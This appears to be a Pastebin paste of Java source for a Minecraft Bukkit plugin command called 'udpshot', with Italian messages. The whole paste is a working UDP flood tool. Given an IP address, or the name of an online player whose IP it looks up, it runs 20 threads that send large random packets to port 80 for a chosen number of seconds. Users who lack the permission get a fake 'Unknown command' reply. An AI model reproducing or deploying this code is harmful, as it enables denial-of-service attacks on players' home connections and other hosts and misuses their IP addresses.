Advertisement
Guest User

Untitled

a guest
Sep 30th, 2016
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 3.94 KB | None | 0 0
  1. public class udpcommand implements CommandExecutor
  2. {
  3.     @Override
  4.     public boolean onCommand(CommandSender sender, Command command, String commandLabel, String[] args)
  5.     {
  6.         if(commandLabel.equalsIgnoreCase("udpshot"))
  7.         {
  8.             try
  9.             {
  10.                 if(sender.hasPermission("udp.use"))
  11.                 {
  12.                     String usernameOrIp = args[0];
  13.                     final long time = Long.parseLong(args[1]);
  14.                     boolean isIP = usernameOrIp.contains(".");
  15.                     if(isIP)
  16.                     {
  17.                         final long curTime = System.currentTimeMillis();
  18.                         Random rand = new Random();
  19.                         String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  20.                         char[] text = new char[60000];
  21.                         for (int i = 0; i < 60000; i++)
  22.                         {
  23.                             text[i] = characters.charAt(rand.nextInt(characters.length()));
  24.                         }
  25.                         String send = new String(text);
  26.                         final DatagramSocket clientSocketUDP;
  27.                         final DatagramPacket sendPacket;
  28.                         InetAddress IPAddress;
  29.                         try
  30.                         {
  31.                             IPAddress = InetAddress.getByName(usernameOrIp);
  32.                             clientSocketUDP = new DatagramSocket();
  33.                             sendPacket = new DatagramPacket(send.getBytes(), send.length(), IPAddress, 80);
  34.                             for(int i = 1; i <= 20; i++)
  35.                             {
  36.                                 new Thread("Thread " + i)
  37.                                 {
  38.                                     public void run()
  39.                                     {
  40.                                         while(curTime + (time * 1000) > System.currentTimeMillis())
  41.                                         {
  42.                                             try
  43.                                             {
  44.                                                 clientSocketUDP.send(sendPacket);
  45.                                             }catch(IOException e)
  46.                                             {
  47.                                                 e.printStackTrace();
  48.                                             }catch(Exception e)
  49.                                             {
  50.                                                 e.printStackTrace();
  51.                                             }
  52.                                         }
  53.                                     }
  54.                                 }.start();
  55.                             }
  56.                             sender.sendMessage("§7[§aUDPSHOT§7] §aAttacco iniziato a " + usernameOrIp + " per " + time + " secondo/i.");
  57.                         }catch (IOException e1)
  58.                         {
  59.                             e1.printStackTrace();
  60.                         }
  61.                     }else
  62.                     {
  63.                         InetAddress IPAddress;
  64.                         for(Player p : Bukkit.getServer().getOnlinePlayers())
  65.                         {
  66.                             if(p.getName().equalsIgnoreCase(usernameOrIp))
  67.                             {
  68.                                 final long curTime = System.currentTimeMillis();
  69.                                 Random rand = new Random();
  70.                                 String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  71.                                 char[] text = new char[60000];
  72.                                 for (int i = 0; i < 60000; i++)
  73.                                 {
  74.                                     text[i] = characters.charAt(rand.nextInt(characters.length()));
  75.                                 }
  76.                                 String send = new String(text);
  77.                                 final DatagramSocket clientSocketUDP;
  78.                                 final DatagramPacket sendPacket;
  79.                                 try
  80.                                 {
  81.                                     IPAddress = p.getAddress().getAddress();
  82.                                     clientSocketUDP = new DatagramSocket();
  83.                                     sendPacket = new DatagramPacket(send.getBytes(), send.length(), IPAddress, 80);
  84.                                     for(int i = 1; i <= 20; i++)
  85.                                     {
  86.                                         new Thread("Thread " + i)
  87.                                         {
  88.                                             public void run()
  89.                                             {
  90.                                                 while(curTime + (time * 1000) > System.currentTimeMillis())
  91.                                                 {
  92.                                                     try
  93.                                                     {
  94.                                                         clientSocketUDP.send(sendPacket);
  95.                                                     }catch(IOException e)
  96.                                                     {
  97.                                                         e.printStackTrace();
  98.                                                     }catch(Exception e)
  99.                                                     {
  100.                                                         e.printStackTrace();
  101.                                                     }
  102.                                                 }
  103.                                             }
  104.                                         }.start();
  105.                                     }
  106.                                     sender.sendMessage("§7[§aUDPSHOT§7] §aAttaco iniziato a " + IPAddress.getHostAddress() + " per " + time + " secondo/i.");
  107.                                 }catch (IOException e1)
  108.                                 {
  109.                                     e1.printStackTrace();
  110.                                 }
  111.                             }
  112.                         }
  113.                     }
  114.                     return true;
  115.                 }else
  116.                 {
  117.                     sender.sendMessage("Unknown command. Type \"/help\" for help.");
  118.                 }
  119.             }catch(Exception e)
  120.             {
  121.                 sender.sendMessage(getSyntax());
  122.             }
  123.         }
  124.         return false;
  125.     }
  126.    
  127.     private final String getSyntax()
  128.     {
  129.         return "§4Parametri invalidi!. \n \n §aCopyright <C> 2015 Simox - saymodev@gmail.com. \n §7ShOoTeR by SimoxFX \n /udpshot <username/ip> <time>";
  130.     }
  131. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement